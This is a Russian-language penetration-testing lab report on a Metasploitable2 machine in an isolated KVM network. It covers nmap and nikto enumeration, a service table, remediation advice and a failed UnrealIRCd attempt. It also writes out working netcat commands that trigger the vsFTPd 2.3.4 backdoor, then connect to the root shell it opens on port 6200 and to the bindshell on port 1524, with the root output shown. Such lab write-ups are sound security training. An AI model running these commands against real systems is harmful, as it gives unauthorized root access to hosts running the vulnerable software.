
Лаборатория пентеста в изолированной сети: перечисление с помощью nmap/nikto и ручная эксплуатация Metasploitable2 (бэкдор vsFTPd CVE-2011-2523, bindshell) с полным техническим отчётом.
Автор: Daniel Stefan de Jesus dos Reis
Дата: Сентябрь/2026
Среда: Личная лаборатория KVM в изолированной виртуальной сети pentestlab
Это тестирование проводилось исключительно против собственной виртуальной машины, намеренно содержащей уязвимости, распространяемой Rapid7 специально для целей обучения наступательной безопасности, внутри изолированной виртуальной сети без выхода в интернет. Ни одна сторонняя система не была затронута. Этот проект имеет исключительно образовательную цель — развитие навыков в области тестирования на проникновение.
pentestlab (мост virbr-lab), подсеть 192.168.100.0/24, без настроенного <forward> — то есть действительно изолированная сеть: виртуальные машины общаются между собой и с хостом, но не имеют маршрута за пределы лаборатории. XML сети в .virbr-lab, использующая nmap, nikto, gobuster, hydra, sqlmap и netcat.metasploitable2 (Metasploitable2, модифицированный Ubuntu 8.04), IP 192.168.100.90/24, назначенный через DHCP самой изолированной сети.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
Я следовал базовому потоку: разведка → перечисление → эксплуатация → документирование:
nmap -sV -sC -p-)nikto)nc, чтобы понять механизм каждой уязвимости, а не просто «запустить эксплойт»Команда: nmap -sV -sC -p- -T4 192.168.100.90
Полный вывод: evidencias/nmap_full_scan.txt
Сводка наиболее значимых обнаруженных служб:
| Порт | Служба | Версия | Примечание |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Разрешён анонимный вход + известный бэкдор |
| 22/tcp | SSH | OpenSSH 4.7p1 | Устаревшая версия |
| 23/tcp | Telnet | Linux telnetd | Протокол с передачей в открытом виде |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin и phpinfo.php доступны извне |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Подписывание сообщений отключено |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Исторически уязвим к RCE |
| 1524/tcp | bindshell | — | Уже открытый root-шелл без аутентификации |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Исторически уязвим к RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | протокол 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Версия, связанная с известным бэкдором |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
В период с 30/06/2011 по 03/07/2011 исходный код vsFTPd 2.3.4, доступный для скачивания, был изменён злоумышленником. Скомпрометированная версия содержит бэкдор: при получении в поле имени пользователя при FTP-логине строки, оканчивающейся на :), сервер открывает root-шелл на TCP-порту 6200 без какой-либо аутентификации.
Выполненные шаги (полный лог в evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Результат:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Полный root-доступ получен без аутентификации.
nmap уже идентифицирует эту службу как Metasploitable root shell — бэкдор, намеренно оставленный в образе (след от предыдущего эксплойта, обычное дело для тренировочных образов). Эксплуатация не требуется: достаточно подключиться.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Результат: uid=0(root) gid=0(root) groups=0(root) — немедленный root.
Полный лог в evidencias/bindshell_1524.txt.
Версия UnrealIRCd, работающая на портах 6667/6697, соответствует сборке, исторически распространявшейся с бэкдором (команда AB; с последующей shell-командой). Я попытался запустить бэкдор вручную через nc, но сервер обработал ввод как недопустимую IRC-команду (451 :You have not registered) вместо выполнения команды — либо этот конкретный образ не содержит троянизированный бинарник, либо полезная нагрузка требует тонкой настройки, которой я не уделил приоритетного внимания в этом раунде. Фиксирую это как неудачную попытку, а не как подтверждённую уязвимость.
Служба распределённой компиляции, принимающая произвольные команды от любого подключающегося клиента без аутентификации. Выявлена по версии, не эксплуатировалась в этом раунде.
Исторически уязвима к удалённому выполнению кода через десериализацию. Выявлена по версии, не эксплуатировалась в этом раунде.
Команда: nikto -h 192.168.100.90 -p 80
Полный вывод: evidencias/nikto_scan.txt
Основные находки:
TRACE (потенциальный XST)/phpinfo.php открыто доступен извне (раскрывает конфигурацию PHP)/phpMyAdmin/ доступен без ограничений по IP/doc/, /test/ и /icons/httponly| Находка | Рекомендация |
|---|---|
| Бэкдор vsFTPd 2.3.4 | Никогда не использовать бинарники из неофициальных/непроверенных источников; проверять хеш/подпись пакетов перед установкой |
| Bindshell на порту 1524 | Регулярно проводить аудит открытых портов (периодический внутренний nmap); любой недокументированный шелл — это инцидент |
| distccd открыт без аутентификации | Ограничить доверенными хостами через firewall или отключить, если распределённая сборка активно не используется |
| phpMyAdmin/phpinfo.php открыты | Ограничить доступ по IP/VPN, никогда не выставлять административные инструменты публично |
| Apache/PHP устарели | Поддерживать активный процесс управления патчами |
| Включён листинг каталогов | Отключить Options Indexes в Apache |
| SMB с отключённым подписыванием сообщений | Включить server signing = mandatory |
pentestlab вместо атаки напрямую с хоста